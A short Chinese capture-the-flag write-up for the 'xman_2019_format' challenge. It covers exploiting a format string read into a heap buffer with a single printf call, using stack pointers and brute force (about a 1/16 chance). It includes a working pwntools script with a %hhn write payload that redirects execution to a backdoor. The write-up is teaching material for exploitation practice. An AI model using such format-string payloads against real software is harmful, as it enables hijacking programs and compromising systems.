xman_2019_format(非栈上格式化字符串仅一次利用的爆破)

xman_2019_format(非栈上格式化字符串仅一次利用的爆破)

首先检查一下程序的保护机制

image-20200520130805863

然后用IDA分析一下

存在后门

image-20200520130821440

首先malloc了一片堆空间,读入数据

image-20200520130853810

把刚刚读入的数据当作格式化字符串传递给printf

image-20200520130944344

这题就是考察格式话字符串不在栈上怎么利用,我们的想法就是利用栈上的数据。

首先我们把断点下在第一个printf的位置。

image-20200520131936118

由于栈的地址是随机的,成功的几率大概是1/16

from pwn import *
context.log_level = 'debug'
p = process('./xman_2019_format')
#gdb.attach(p,'b *0x80485C4')

payload =  '%12c%10$hhn' + '|%172c%18$hhn|'
payload += '%13c%10$hhn' + '|%133c%18$hhn'
#print len(payload)
p.send(payload)

p.interactive()
原文地址:https://www.cnblogs.com/Rookle/p/12923079.html